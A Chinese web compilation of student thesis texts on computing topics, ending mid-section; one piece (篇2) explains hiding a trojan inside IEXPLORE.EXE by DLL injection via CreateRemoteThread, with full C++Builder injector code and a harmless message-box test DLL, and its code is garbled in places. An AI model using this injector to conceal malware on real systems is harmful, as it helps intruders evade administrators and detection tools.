计算机系毕业论文实用13篇

计算机系毕业论文
计算机系毕业论文篇1

3: 吉林省林业设计院网络中心网络改造与发展规划.

4: 吉林省林业系统生态信息高速公路构建课题.

二、论文撰写与设计研究的目的:

吉林省的林业分布十分广泛,以长白山系为主要脉络的山地广泛分布各种森林资源,而作为林业及林业环境的发展,林业生态信息则是一个更为庞大的系统,快捷,准确,合理,系统的采集,处理,分析,存储这些信息是摆在我们面前的十分现实的问题.在信息交流的这个世界中,信息好比货物,我们需要将这些货物(信息)进行合理的处理,其中以硬件为主的计算机网络系统是这些货物(信息)交流的"公路"和"处理厂",我做这个题目,就是要为它画出一条"公路"和若干"处理方法"的蓝图.

由于森工集团这样的特定企业,其一,它是一个统一管理的企业,具有集团化的特点,网络的构建具有统一性.其二,它又在地理上是一个分散的企业,网络点也具有分散性.然而,分散中还具有集中的特点,它的网络系统的设计就应该是板块化的.从信息的角度来讲,信息的种类多,各种信息的采集传输处理角度也不尽相同,我们在设计的过程中不仅要考虑硬件的地域布局,也要考虑软件平台的配合.

没有最好,只有更好;更新观念,大步向前.我相信,在导师的精心指导下,经过我的努力,我将为它们创造出一条平坦,宽阔的"高速公路".

1,论文(设计)研究的对象:

拟订以吉林省林业系统为地理模型,以林业网络综合服务为基本需求,以网络拓扑结构为设计方向,以软件整合为应用方法,开发设计一套完整的基于集散集团企业的企业网络系统.

2,论文(设计)研究预期达到目标:

通过设计,论文的撰写,预期达到网络设计全面化,软件整合合理化,网络性能最优化,资金应用最低化,工程周期最短化的目标.

3,论文(设计)研究的内容:

一),主要问题:

设计解决网络地域规范与现有网络资源的利用和开发.

设计解决集中单位的网络统一部署.

设计解决多类型网络的接口部署.

设计解决分散网络用户的接入问题.

设计解决远程瘦用户网络分散点的性能价格合理化问题.

设计解决具有针对性的输入设备的自动化信息采集问题.

合理部署网络服务中心的网络平衡.

优化网络服务系统,营造合理的网络平台.

网络安全问题.

10,基本应用软件整合问题.

[nextpage]

二),论文(设计)包含的部分:

1,地理模型与网络模型的整合.

2,企业内部集中部门网络设计.

3,企业内部分散单元网络设计——总体分散.

4,企业内部分散单元网络设计——远程结点.

5,企业内部分散单元网络设计——移动结点.

6,企业网络窗口(企业外信息交流)设计.

7,企业网络中心,服务平台的设计.

8,企业网络基本应用软件结构设计.

9,企业网络特定终端接点设计.

10,企业网络整合设计.

5,论文(设计)的实验方法及理由:

由于设计的过程并不是工程的施工过程,在设计过程中详尽的去现场建设肯定有很大的难度,也不是十分可行的,那么我们在设计的阶段就应该进行仿真试验和科学计算.第一步,通过小型网络测试软件平台,第二步,构建多个小型网络搭建全局网络模拟环境,第三步,构建干扰源利用小型网络集总仿真测试.

6,论文(设计)实施安排表:

1.论文(设计)阶段第一周次:相关理论的学习研究,阅读参考文献资料,制订课题研究的实施方案,准备试验用网络硬件和软件形成试验程序表及试验细则.

2.论文(设计)阶段第二周次:开始第一轮实验,进行小型网络构建试验,模拟网络服务中心,模拟区域板块,模拟远程及移动网络.

3.论文(设计)阶段第三周次:进行接口模拟试验,测试软件应用平台,完善课题研究方案.

4.论文(设计)阶段第四周次:完成第一轮实验,提交中期成果(实验报告1).

5.论文(设计)阶段第五周次:进行第二轮实验,模拟环境(干扰仿真)实验,提交实验报告2.

6.论文(设计)阶段第六周次:完成结题报告,形成论文.

三,论文(设计)实施工具及参考资料:

小型网络环境,模拟干扰环境,软件平台.

吴企渊《计算机网络》.

郑纪蛟《计算机网络》.

陈济彪 丹青 等 《计算机局域网与企业网》.

christian huitema 《因特网路由技术》.

[美]othmar kyas 《网络安全技术——风险分析,策略与防火墙》.

其他相关设备,软件的说明书.

1、论文(设计)的创新点:

努力实现网络资源的全面应用,摆脱将单纯的网络硬件设计为企业网络设计的模式,大胆实践将软件部署与硬件设计阶段相整合的网络设计方法.

题目可行性说明及预期成果:

计算机系毕业论文篇2

木马程序(也称后门程序)是能被控制的运行在远程主机上的程序,由于木马程序是运行在远程主机上,所以进程的隐藏无疑是大家关心的焦点。

本文分析了WindowsNT/2000系统下进程隐藏的基本技术和方法,并着重讨论运用线程嫁接技术如何实现WindowsNT/2000系统中进程的隐藏。

1基本原理

在WIN95/98中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在WindowsNT/2000中却完全不同,无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能躲过WindowsNT/2000的任务管理器,WindowsNT/2000的任务管理器均能轻松显示出木马进程,难道在WindowsNT/2000下木马真的再也无法隐藏自己的进程了?我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一,随着入侵检测软件的不断发展,关联进程和SOCKET已经成为流行的技术,假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败。在WindowsNT/2000下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是让系统管理员看不见你的进程;第二是不使用进程。本文以第二种方法为例加以讨论,其基本原理是将自已的木马以线程方式嫁接于远程进程之中,远程进程则是合法的用户程序,这样用户管理者看到的只是合法进程,而无法发现木马线程的存在,从而达到隐藏的目的。

2实现方法

为了弄清实现方法,我们必须首先了解Windows系统的另一种"可执行文件"----DLL,DLL是DynamicLinkLibrary(动态链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如浏览器程序IEXPLORE.EXE,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员,也就达到了隐藏的目的。

运行DLL方法有多种,但其中最隐蔽的方法是采用动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的,但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。动态嵌入技术有多种如:窗口Hook、挂接API、远程线程等,这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。

远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。

3实施步骤

1)用Process32Next()函数找到宿主进程,获取宿主进程ID,并用

OpenProcess()函数打开宿主进程。

2)用VirtualAllocEx()函数分配远程进程地址空间中的

内存。

3)用WriteProcessMemory()函数将待隐藏的DLL的路径名。

4)拷贝到步骤二已经分配的内存中。

5)用GetProcAddress()函数获取LoadlibraryA()函数的实地址(在kernel32.dll中)。

6)用CreateRemoteThread()函数在远程进程中创建一个线程。

7)它调用正确的LoadlibraryA()函数。

8)为它传递步骤二中分配的内存地址。

4具体实例

下面是在C++Builder4.0环境下编写的运用远程线程技术隐藏木马的程序代码:

#include<vcl.h>

#include<windows.h>

#include<stdio.h>

#include<tlhelp32.h>//该头文件包涵了进程操作的API函数

#pragmahdrstop

#include"Unit1.h"

#pragmapackage(smart_init)

#pragmaresource"*.dfm"

InsistingpszLibFileName;//存放待隐藏的DLL文件名

HANDLEhProcessSnap=NULL;//进程快照句柄

HANDLEhRemoteProcess;//远程进程句柄

LPVOIDpszLibFileRemote;//远程进程中分配给文件名的空间

HMODULEphmd;//存放kernel32.dll句柄

HANDLEhRemoteThread1=NULL;//存放远程线程句柄

TForm1*Form1;

//---------------------------------------------------------

__fastcallTForm1::TForm1(TComponent*Owner)

:TForm(Owner)

{

}

//---------------------------------------------------------

void__fastcallTForm1::Button1Click(TObject*Sender

{

PROCESSENTRY32pe32={0};

DWORDdwRemoteProcessId;

hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

//打开进程快照

if(hProcessSnap==(HANDLE)-1)

{

MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);

exit(0);

}//失败返回

pe32.dwSize=sizeof(PROCESSENTRY32);

if(Process32Fi

rst(hProcessSnap,&pe32))//获取第一个进程

{

do{

AnsiStringte;

te=pe32.szExeFile;

if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))

//找到宿主进程,以IEXPLORE.EXE为例

{dwRemoteProcessId=pe32.th32ProcessID;

break;

}

}

while(Process32Next(hProcessSnap,&pe32));//获取下一个进程

}

else

{

MessageBox(NULL,"取第一个进程失败","",MB_OK);

exit(0);

}

hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM

_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);

//打开远程进程

pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";

//假设hide.dll是待隐藏的进程

intcb=(1+pszLibFileName.Length())*sizeof(char);//计算dll文件名长度

pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

MEM_COMMIT,PAGE_READWRITE);

//申请存放文件名的空间

BOOLReturnCode=WriteProcessMemory(hRemoteProcess,

pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);

//把dll文件名写入申请的空间

phmd=GetModuleHandle("kernel32.dll");

LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)

GetProcAddress(phmd,"LoadLibraryA");

//获取动态链接库函数地址

hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,

pfnStartAddr,pszLibFileRemote,0,NULL);

//创建远程线

if(hRemoteThread1!=NULL)

CloseHandle(hRemoteThread1);//关闭远程线程

if(hProcessSnap!=NULL)

CloseHandle(hProcessSnap);//关闭进程快照

}

该程序编译后命名为RmtDll.exe,运行时点击界面上的按钮即可。

至此,远程嵌入顺利完成,为了试验我们的hide.dll是不是已经正常地在远程线程运行,我同样在C++Builder4.0环境下编写并编译了下面的hide.dll作为测试:

nclude<vcl.h>

#include<windows.h>

#pragmahdrstop

#pragmaargsused

BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)

{

charszProcessId[64];

switch(reason)

{

caseDLL_PROCESS_ATTACH:

{//获取当前进程ID

itoa(GetCurrentProcessId(),szProcessId,10);

MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

break;

}

default:

}

returnTRUE;

}

当使用RmtDll.exe程序将这个hide.dll嵌入IEXPLORE.EXE进程后假设PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具

也能看到:

ProcessID:1208

C:\WINNT\IEXPLORE.EXE(0x00400000)

……

C:\WINNT\hide.dll(0x100000000)

……

这证明hide.dll已经在IEXPLORE.EXE进程内正确地运行了。上面程序的头文件由编译器自动生成,未作改动,故略之。

5结束语

进程隐藏技术和方法有很多,而且这一技术发展也相当快,本文仅从一个侧面加以讨论,希望通过这一探讨让我们对进程隐藏技术有一个更清楚的认识,同时也为我们防范他人利用进程隐藏手段非法入侵提供参考,本文抛砖引玉,不当之处诚恳批评指正。

计算机系毕业论文篇3

1.IP地址

IP(InternetProtocol)地址就是网络协议地址,是分配给网络节点的逻辑地址。这些网络节点可以是网络中的任何一台主机,提供节点之间的交换信息服务。由于在Internet网络中存在着大量的节点,为了能够在网上找到这个节点,就必须给予标识。IP地址就是一种标识方法,它独立于任何特定的网络硬件和网络配置,使用TCP/IP协议的网络在发送或接收信息时先把数据打包,然后将目标IP地址翻译成MAC(Medi-umAccessControl)硬件的物理地址,这样就可以把数据包准确地发送或接收过来。

每个IP地址是由4个字节共32位组成,每字节之间使用小数点分隔,一般用十进制数字表示。每个IP地址包括两个标识(ID),即网络ID和宿主机ID,同一个物理网络上的所有主机都用同一个网络ID,而网络上的每个服务器、路由器、计算机等都有一个主机ID。比如202.98.180.194即是云南省科学技术情报研究所的一个WWW服务器的IP地址。

2.因特网域名及结构

由于IP地址全是数字代码,既不直观又难于记忆,因特网在IP地址的基础上,提供了一种面向用户的主机名字,即域名。如istiy(InstituteofScientific&TechnicalInformationofYunnan)为我所(云南省科学技术情报研究所)的英文缩写。即为我所在因特网上注册的域名,而(主机名+域名)为我所DNS服务器的主机域名,对应的IP地址就是202.98.180.193。

3.域名解析系统DNS(DomainNameSystem)就是提供域名与IP地址相互映射的网络服务。事实上,DNS是遍布于全世界的一个分布式数据库。它主要负责控制整个数据库中的部分段,每一段中的数据通过客户/服务模式在整个网络上均可存取。DNS的数据库结构,同UNIX文件系统(或MSDOS文件系统)的结构很相似,整个数据库(或文件系统)将根放在顶端,画出来就像一颗倒转的树。在DNS中,根的名字以空字符串“”表示,DNS简单地称其为“根”(Root)或偶而称之为“根域”(RootDomain),在UNIX文件系统中,根以反斜杠“/”表示,被称为“根目录”。如图1所示.

图1在DNS和UNIX文件系统中名称的读法

DNS数据库“”

计算机系毕业论文篇4

硬件选购目前市场上的PC产品众多,除国产品牌外,国外有:日本的OMRON、MITSUBISHI、FUJJ、anasonic,德国的SIEMENS,韩国的LG等。近几年,PC产品的价格有较大的下降,其性价比越来越高,这是众多技术人员选用PC的重要原因。那么,如何选购PC产品呢?

1.系统规模首先应确定系统用PC单机控制,还是用PC形成网络,由此计算PC输入、输出点。数,并且在选购PC时要在实际需要点数的基础上留有一定余量(10%)。

2.确定负载类型根据PC输出端所带的负载是直流型还是交流型,是大电流还是小电流,以及PC输出点动作的频率等,从而确定输出端采用继电器输出,还是晶体管输出,或品闸管输出。不同的负载选用不同的输出方式,对系统的稳定运行是很重要的。

3.存储容量与速度尽管国外各厂家的PC产品大体相同,但也有一定的区别。目前还未发现各公司之间完全兼容的产品。各个公司的开发软件都不相同,而用户程序的存储容量和指令的执行速度是两个重要指标。一般存储容量越大、速度越快的PC价格就越高,但应该根据系统的大小合理选用PC产品。

4.编程器的选购PC编程可采用三种方式:

一是用一般的手持编程器编程,它只能用商家规定语句表中的语句编程。这种方式效率低,但对于系统容量小,用量小的产品比较适宜,并且体积小,易于现场调试,造价也较低。

二是用图形编程器编程,该编程器采用梯形图编程,方便直观,一般的电气人员短期内就可应用自如,但该编程器价格较高。

三是用IBM个人计算机加PC软件包编程,这种方式是效率最高的一种方式,但大部分公司的PC开发软件包价格昂贵,并且该方式不易于现场调试。

因此,应根据系统的大小与难易,开发周期的长短以及资金的情况合理选购PC产品。

5.尽量选用大公司的产品其质量有保障,且技术支持好,一般售后服务也较好,还有利于你的产品扩展与软件升级。

输入回路的设计

1.电源回路PC供电电源一般为AC85—240V(也有DC24V),适应电源范围较宽,但为了抗干扰,应加装电源净化元件(如电源滤波器、1:1隔离变压器等)。

2.Pc上DC24V电源的使用各公司PC产品上一般都有DC24V电源,但该电源容量小,为几十毫安至几百毫安,用其带负载时要注意容量,同时作好防短路措施(因为该电源的过载或短路都将影响PC的运行)。

3.外部DC24V电源若输入回路有DC24V供电的接近开关、光电开关等,而PC上DC24V电源容量不够时,要从外部提供DC24V电源;但该电源的“—”端不要与PC的DC24V的“—”端以及“COM”端相连,否则会影响PC的运行。

4.输入的灵敏度各厂家对PC的输人端电压和电流都有规定,如日本三菱公司F7n系列Pc的输入值为:DC24V、7mA,启动电流为4.5mA,关断电流小于1.5mA,因此,当输入回路串有二极管或电阻(不能完全启动),或者有并联电阻或有漏电流时(不能完全切断),就会有误动作,灵敏度下降,对此应采取措施。另一方面,当输入器件的输入电流大于PC的最大输入电流时,也会引起误动作,应采用弱电流的输入器件,并且选用输人为共漏型输入的PC,Bp输入元件的公共点电位相对为负,电流是流出PC的输入端。

输出回路的设计

1.各种输出方式之间的比较

(1)继电器输出:优点是不同公共点之间可带不同的交、直流负载,且电压也可不同,带负载电流可达2A/点;但继电器输出方式不适用于高频动作的负载,这是由继电器的寿命决定的。其寿命随带负载电流的增加而减少,一般在几十万次至Jl百万次之间,有的公司产品可达1000万次以上,响应时间为10ms

(2)晶闸管输出:带负载能力为0.2A/点,只能带交流负载,可适应高频动作,响应时间为1ms.

(3)晶体管输出:最大优点是适应于高频动作,响应时间短,一般为0.2ms左右,但它只能带DC5—30V的负载,最大输出负载电流为0.5A/点,但每4点不得大于0.8A。

当你的系统输出频率为每分钟6次以下时,应首选继电器输出,因其电路设计简单,抗干扰和带负载能力强。当频率为10次/min以下时,既可采用继电器输出方式;也可采用PC输出驱动达林顿三极管(5—10A),再驱动负载,可大大减小电流。

2.抗干扰与外部互锁当PC输出带感性负载,负载断电时会对PC的输出造成浪涌电流的冲击,为此,对直流感性负载应在其旁边并接续流二极管,对交流感性负载应并接浪涌吸收电路,可有效保护PC。

当两个物理量的输出在PC内部已进行软件互锁后,在PC的外部也应进行互锁,以加强系统的可靠性。

3.“GOM“点的选择不同的PC产品,其“COM”点的数量是不一样的,有的一个“COM”点带8个输出点,有的带4个输出点,也有带2个或1个输出点的。当负载的种类多,且电流大时,采用一个“COM”点带1—2个输出点的PC产品;当负载数量多而种类少时,采用一个“COM”点带4—8个输出点的PC产品。这样会对电路设计带来很多方便,每个“COM”点处加一熔丝,1—2个输出时加2A的熔丝,4—8点输出的加5—10A的熔丝,因PC内部一般没有熔丝。

4.PC外部驱动电路对于PC输出不能直接带动负载的情况下,必须在外部采用驱动电路:可以用三极管驱,也可以用固态继电器或晶闸管电路驱动,同时应采用保护电路和浪涌吸收电路,且每路有显示二极管(LED)指示。印制板应做成插拔式,易于维修。

PC的输入输出布线也有一定的要求,请看各公司的使用说明书。

扩展模块的选用

对于小的系统,如80点以内的系统.一般不需要扩展;当系统较大时,就要扩展。不同公司的产品,对系统总点数及扩展模块的数量都有限制,当扩展仍不能满足要求时,可采用网络结构;同时,有些厂家产品的个别指令不支持扩展模块,因此,在进行软件编制时要注意。当采用温度等模拟模块时,各厂家也有一些规定,请看相关的技术手册。

各公司的扩展模块种类很多,如单输入模块、单输出模块、输入输出模块、温度模块、高速输入模块等。PC的这种模块化设计为用户的产品开发提供了方便。

PC的网络设计

当用PC进行网络设计时,其难度比PC单机控制大得多。首先你应选用自己较熟悉的机型,对其基本指令和功能指令有较深入的了解,并且指令的执行速度和用户程序存储容量也应仔细了解。否则,不能适应你的实时要求,造成系统崩溃。另外,对通信接口、通信协议、数据传送速度等也要考虑。

计算机系毕业论文篇5

2.控制环境-产生并向激励器发送命令。

3.转换信息-转换并处理收集到的数据。

虽然通过传感器和激励器完成与外部世界的交互是嵌入式系统的重要特点,但这些嵌入式系统还提供适合它们所在设备的特殊功能。嵌入式系统一般用来执行控制程序、有限状态机和信号处理算法。这些系统还必须检测内部计算环境和周围电磁系统中发生的故障并对此做出响应。

嵌入式系统特性

嵌入式系统的设计挑战是使嵌入式系统的独特性能与设备的特殊约束条件相一致。以下是一些嵌入式系统的重要特性:

1.特殊应用系统-嵌入式系统不同于通用处理器,它针对特殊应用进行了优化。

2.反应性系统-反应性计算的意思是系统(主要是软件部分)根据传感器信息对环境作出响应,并利用激励器控制环境,同时系统速度能与环境速度同步。

3.分布式-嵌入式系统的一般特征是多个通信进程在多个通过通信链路链接的CPU或ASIC上运行。

4.异类性-不同的嵌入式系统一般具有不同的结构,以便在处理严格设计约束的嵌入式系统时能够提供更好的设计便利性。

5.苛刻环境-许多嵌入式系统并不工作在受控的环境中,因此它们必须能够经受过热、振动、冲击、电源波动和其它恶劣的物理环境条件的考验。

6.系统安全性和可靠性-由于嵌入式系统复杂度和运算量的不断增长,需要更多地考虑系统安全因素。

7.小型化、重量轻-为了达到便携目的,许多嵌入式系统的重量必须设计得很轻。

8.成本敏感性-不同的嵌入式系统对成本的敏感性有很大的不同。

实时系统的特性

实时系统要求在外部环境指定的时间间隔内对来自环境的激励信号作出响应(包括物理时间的过渡)。从输入时间到输出时间的延迟必须足够小,以满足可以接受的时间值。通常实时系统需要对环境作出连续及时的响应。

计算的正确性不仅依赖于结果,而且取决于输出发生的时间。一个实时系统必须满足有限响应时间约束条件,否则会产生严重的后果。如果后果是性能的劣化而不是故障,那么这种系统可以看作是一个软实时系统。如果后果是系统发生故障,那么这种系统就是一种硬实时系统。

实时系统有反应式和嵌入式两种类型。反应式实时系统会与环境发生连续的互作用,而嵌入式实时系统主要用于控制大型系统中安装的特殊硬件。

嵌入式系统开发生命周期

许多系统设计工程师都会经历硬件/软件协同设计的过程(图1),此过程中硬件与软件将同时进行开发。理解硬件与软件功能相互之间的关系及界限有助于确保设计要求得到完整正确的理解和实现。

早在设计要求的定义与分析阶段,系统开发人员就必须与设计工程师协同分配硬件或/和软件方面的要求。这种分配的依据是早期系统仿真、原型设计和行为建模结果、工程师自己的经验以及上文提及的各种因素权衡结果(图2)。一旦分配结束,就可以立即着手具体的设计和实现。实时系统开发中软硬件的并行设计会使用到各种分析技术,包括:

1.硬件与软件仿真;

2.硬件/软件协同仿真;

3.可调度的建模技术,如速率恒定分析;

4.原型设计和渐进式开发。

可以在各种抽象层次使用的仿真技术主要用于开展早期的性能评估。低层仿真可以用来为总线宽度和数据流程建模,这对性能评估是非常有用的。高层仿真可以满足功能的交互,并促成硬件/软件权衡研究及有效性设计。利用仿真可以将一个复杂的系统向下抽象成基础组件和行为。仿真还助于解决功能性问题(数据与算法)、行为(进程排序)或性能问题(资源利用、吞吐量和时序)。

理解设计要求

在作执行任何类型的处理器评估时,首先要详细理解用户的功能和非功能性要求。功能性要求通常比较容易获得,而非功能性要求较难定量测量。但对于实时系统来说,定义响应时间这样的要求是非常重要的。实时要求可以有以下几种:

1.激励-激励(S-S):到系统去的两个激励之间的实时关系;

2.激励-响应(S-R):一个激励与来自系统的一个后序响应之间的实时关系;

3.响应-激励(R-S):一个响应与到系统去的一个后序激励之间的实时关系;

4.响应-响应(R-R):来自系统的两个响应之间的实时关系。

S-R和R-R关系定义了对指定系统的时序要求。这种情况下所实现的功能必须足够快(或足够慢)才能满足时序要求。S-S和R-S约束暗示系统必须能够从环境(可能是一个用户或另外一个系统)中检测出特定时序约束的破坏。这些约束与功能的快慢没有关系,相反它们能够检测出某些遭到破坏的时序约束并采取必要的措施。

因此要从最初系统要求设计时就很好地理解这一点,因为S-R和R-R约束可以引导设计工程师进行代码优化,而S-S和R-S约束需要用额外的软件来检测和响应时序冲突。

处理器选择

嵌入式实时系统比较适合用于系统优化。由于这些系统主要用来解决范围相对较窄的问题,因此硬件和软件能够得到最佳优化,并很好地应用于单一设备。这样做的目的是要在软硬件最佳折衷状态下开展系统设计。影响这一阶段设计的主要因素是处理器的选择、软硬件的分割和总体系统集成。

在为嵌入式实时系统选择处理器时需要考虑以下几个方面:

1.性能:处理器必须有足够的性能执行任务和支持产品生命周期。

2.实现:根据具体应用情况,处理器可能需要被高度集成。在DSP应用中可以有好几种选择,专用集成电路(ASIC)就是其中的一种。这些器件可以被用作DSP协处理器,但对于许多通用信号处理来说显得不够灵活。另外可以选择精简指令集计算机(RISC)处理器。这些处理器的时钟速度特别快,但可扩展性不是很强,而且会发生其它实时(可预测性)问题。现场可编程阵列(FPGA)是一种快速器件,能够快速高效地完成某些DSP功能,但与DSP相比开发难度比较大,因为在DSP中一个简单的程序就能完成相同的功能。如果是主信号处理应用,则最好采用性能强大功耗也较大的通用处理器。如果需要快速升级信号处理应用,采用DSP等可编程器件比定制的硬件方案要更好些。

3.工具支持:支持软件创建、调试、系统集成、代码调整和优化工具对整体项目成功与否非常关键。

4.操作系统支持:嵌入式系统应用需要使用有帮助的抽象来减少其复杂性。针对处理器系列产品作过优化的商用操作系统(OS)能够缩短设备开发周期和上市时间。

5.过去的经验:拥有处理器或处理器系列产品的开发经验可以减少可观的学习新处理器、工具和技术的时间。

6.仿真支持:循环精确仿真对某些类型的应用来说非常重要,特别是数字信号处理应用中许多功能正确性验证都是采用仿真技术完成的。嵌入式系统的软硬件协同设计模型也促使处理器仿真器成为开发流程中一个非常有用的工具。

7.应用支持:应用支持有多种方式,从通过热线或网站取得的应用专家支持,到预打包的软件和应用框架,甚至完好的测试平台。一些DSP处理器能够提供器件的驱动器、板级支持包和其它“启动帮助组件”。有了这些软件组件后,应用开发师就无需再编写器件驱动器等“无附加值”的软件,相反,他们可以把精力放在具有附加值的功能开发上,使他们的产品能独树一帜。

8.成本:嵌入式应用对成本特别敏感,而产品成本的稍许差别都可能导致市场的失败。

9.功耗:市场上有许多依靠电池工作的便携嵌入式实时系统,此时电池寿命将成为系统的重要参数。这种情况下应该考虑使用针对便携式应用优化的低功耗器件。

10.传统代码:如果选中的处理器需要设计人员编写与现存代码的接口,将会导致整个设计流程的严重滞后。因此需要选择一款代码兼容的器件来避免或减少这一步骤造成的影响。

11.算法复杂性:某些处理器能够非常高效地处理某类算法,因此最好选择能够与应用最佳匹配的处理器。例如,具有许多控制代码的有限状态机应用应该映射为类似ARM处理器的RISC器件。编码、解码和回波抵消等信号处理应用应该映射为数字信号处理器,或具有信号处理加速器的某种器件。

12.上市时间:项目的完成时间会加快处理器的选择过程,这一过程与先前讲述的几个关键事项密切相关,如OS的可用性、其它软件组件以及便携性问题。

设计还是购买?

是自己设计还是购买成品呢?如果有可能不重新设计,价格也比较合理的话,购买要比自己开发更有利。由于嵌入式系统预算的缩减、实时操作系统(RTOS)和TCP/IP堆栈等商用技术的改进、嵌入式系统要求的扩展,采用商业性现成(COTS)技术正变得越来越普遍。采用COTS技术能够缩短开发周期中编码、调试、单元测试和代码检查阶段的时间。

然而,作出购买而非设计的决定会改变一个组织的基础开发流程。一个组织希望实现的新业务有:供应商调研和评估、产品评估以及实时的供应商交流与关系建立。产品开发的其它活动不会取消,但会作出一些改变。这些变化包括更关注如何将系统硬件与软件更好地组合在一起,而不再把重点放在模块自己内部的运作上。另外必须更侧重于兼容性、可配置性和可集成性等结构上的问题。

必须很好的理解和高效地管理由于决定采用“购买”而非“设计创建”方式所导致的结果。首先,自然是对供应商提出产品要求、产品可靠性、计划和产品文档等依赖请求。这种情况下产品要求中的灵活性会打些折扣。购买商用产品意味着接受现有的产品要求,但这种要求也许不能完美地匹配自身产品的要求,这就需要设计人员把这种缺点与COTS技术提供的成本与上市时间优势作一个理智的权衡。

因此重要的是最终用户与技术人员必须参与COTS供应商的选择,考虑的重点要放在业务需求上而非技术本身。性价比分析所要考虑的因素应包括易学性、易用性、供应商名声和长期稳定性、许可方式和培训。所有与性能有关的声明必须尽可能采用内部或外部基准或演示来到得有效性认证。为了避免可能出现的偏差,评估标准应该在收到供应商建议前就制定好。选择供应商的主要工作包括研究和理解技术标准和相当的文件、采用类似建议请求(RFP)的标准模式征求供应商的建议、对供应商建议进行评估和排序、选择供应商并签署合同。

除了评估技术外,还应对供应商本身进行评审。要充分了解供应商开业时间的长短、供应商的背景和名声、供应商的其它用户对它的评价和意见、供应商人力资源的投入和对你的计划或项目的支持情况,以及供应商对你业务和要求的理解程度,甚至对未来项目的承诺。以前软件团队认为软件开发方案遵循类似于创建架构的特定模式。提供符合一般模式的抽象方法能够使软件团队定制符合他们特殊要求的方案,同时遵循被前人证明是高效和正确的模式。

嵌入式系统供应商已经认识到需要通过提供软件组件和类似于设计模式的框架来加快软件开发进程。在DSP领域,供应商向DSP设计工程师提供包括参考框架(RF)在内的上百个以DSP为核心的软件组件用于产品和系统开发。设计完好的参考框架能够在设备开发的早期阶段让设计人员快速入门。RF内含方便易用并且适合多种应用的源代码。由此可以取消许多早期的低层设计决策,使开发人员能有更多的时间用在真正显示产品特色的代码开发上。设计人员可以选择能够最大程度满足他们系统需要的专业RF,然后集成适配的算法(可以是其它供应商出售的DSPCOTS算法,或供应商自己的算法)生成适合各种终端设备的特殊应用,如宽带、语音、视频图像、生物测量和无线设施。这些RF提供百分之百的C语言源码,并且没有版税要求。RF源代码可以从/downloadrfnow网站下载。

软件性能工程

许多嵌入式实时系统必须满足一系列性能目标。一般来讲,性能是一个软件系统或组件对时间要求满足程度的一种指示。这里的时间指标可以用响应时间和吞吐量来衡量,该时间值是指响应某种要求所需的时间,而吞吐量用以指示系统在特定时间间隔内能够处理的请求数量。可扩展性是嵌入式实时系统的另外一个重要指标,可以用它来衡量系统要求提高时系统能够继续满足响应时间或吞吐量要求的能力。

计算机系毕业论文篇6

(一)基本原理与方法

如何实现评估过程从定性到定量的转变,是开发研制该系统的关键所在。我们依据高等教育评估的原理,采用模糊综合评价的基本原理和方法,给出了建筑工程专业毕业设计(论文)评估的量化模型,具体步骤如下:

1.建立毕业设计(论文)评估指标体系。一级指标分为教师、学生、选题、客观条件四个方面。各方面再细分则为二级指标,如:教师方面分为准备工作、课堂讲授、出勤率、答疑情况、教学方式、教师职称等六个方面;学生方面分为学习态度、平时成绩、计算书完成情况、图纸完成情况、创新情况、译文完成情况等六个方面;选题方面分为结构类型、课题新颖程度、计算机应用合理程度、题目性质、外文资料、创新性等六个方面;客观条件分为设计教室、绘图仪器及图板、机房及出图设施、每位教师指导学生人数等四个方面。

2. 设立评价等级V,V=1好(VI),较好(V2),—般(V3),较差(V4)|。

3. 构造单因素评判矩阵R,

其中,R中每一个元素rij表示第i个评价因素对第j个评价等级的隶属度。

4. 设立各评价因素权重集A,例:一级指标权重集八=(0_35,0.35,0.15,0_15),八的取值可根据经验,并依据以往各届毕业设计(论文)评估结果经反复试算确定。

5.计算综合评判矩阵

    

6.对各级指标体系重复步骤

     7.计算测评结果

    

求得最终评判矩阵B该量化模型针对毕业生总体进行评估,评价毕业生的综合质量,改变了过去仅片面地对个人进行评估的状况。

(二)评估预测系统的计算机开发语言

